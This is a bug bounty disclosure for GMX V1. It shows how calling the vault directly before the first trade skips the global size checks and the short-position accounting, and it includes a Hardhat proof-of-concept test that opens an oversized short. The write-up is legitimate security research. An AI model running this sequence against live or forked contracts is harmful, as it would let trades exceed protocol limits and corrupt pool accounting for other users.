GMX V1 BOUNTY (2)

GMX internal Accounting can be disrupted

This issue is part of a different set of vulnerabilities that 0xKato and I (0xWeiss) found during the review of Lexer Markets V2, which was forking GMX V1.

If you are a protocol owner or someone integrating with GMX V1, GMX V2, or LEXER Markets, reach out to my DMs on Twitter: 0xWeiss or email: mweiss.eth@gmail.com . We will make sure your code is as secure as possible.

Report:
The vault contract is vulnerable before the first trade takes place due to the fact that the ‘isLeverageEnabled’ state variable is initially set to true. A malicious user can bypass crucial safety checks and skip internal accounting by calling the vault contract directly instead of having to go through the positionRouter contract itself, as long as no one has created a trade beforehand since it would trigger the ‘disableLeverage’ function when calling ‘_increasePosition’ through the ‘BasePositionManager’ contract. This will allow the user to bypass the ‘_validateMaxGlobalSize’ function that takes place in the BasePositionManager contract if the malicious user created a long position, since ‘_increaseGlobalShortSize’ also performs the validation but only if the position is a short. It also allows the user to bypass the ‘updateGlobalShortData’ function that takes place in the positionUtils contract. If the user creates a short position, it will leave ‘GlobalShortData’ not correctly updated. As shown in the PoC, when we try to read the ‘GlobalShortDelta’, it reverts with a division by zero panic error even though why have created a short position.

Impact:
Bypass ‘_validateMaxGlobalSize’. This would allow a user to trade for more than what GMX wants to allow. Bypass ‘updateGlobalShortData’. This would not showcase the short profits correctly, as can be seen in getAum since averagePrice won’t be updated.

if (size > 0) { (uint256 delta, bool hasProfit) = getGlobalShortDelta(token, price, size); if (!hasProfit) { // add losses from shorts aum = aum.add(delta); } else { shortProfits = shortProfits.add(delta); } }

PoC:

it.only("POC: Accounting can be disrupted", async () => {
    await vault.connect(user0).addRouter(user0.address)
    await dai.mint(user0.address, expandDecimals(60000, 18))

    await dai.connect(user0).transfer(vault.address, expandDecimals(60000, 18))
    await vault.buyUSDG(dai.address, user1.address)

    await dai.mint(user0.address, expandDecimals(6000, 18))
    await dai.connect(user0).approve(vault.address, expandDecimals(6000, 18))
    await dai.connect(user0).transfer(vault.address, expandDecimals(6000, 18));

    await dai.mint(user0.address, expandDecimals(6000, 18))

    await router.addPlugin(positionRouter.address)
    await router.connect(user0).approvePlugin(positionRouter.address)

    await dai.mint(user0.address, expandDecimals(600, 18))
    await dai.connect(user0).approve(router.address, expandDecimals(600, 18))

    // We have will bypass the maxGlobalSize check we will also not call updateGlobalShortData
    await vault.connect(user0).increasePosition(user0.address, dai.address, bnb.address, expandDecimals(7000000000000000, 18), false)

    let position = await vault.getPosition(user0.address, dai.address, bnb.address, false)
    expect(position[0]).eq("7000000000000000000000000000000000") // size
    expect(position[1]).eq("5993000000000000000000000000000000") // collateral
    expect(position[2]).eq("300000000000000000000000000000000") // averagePrice
    expect(position[3]).eq("0") // entryFundingRate
    expect(position[4]).eq("7000000000000000000000") // reserveAmount
    expect(position[5]).eq("0") // realisedPnl

    // Since averagePrice will still be 0 at this point the call will revert with a division by zero panic error
    expect(await shortsTracker.getGlobalShortDelta(bnb.address)).to.be.revertedWith("SafeMath: division by zero");
  })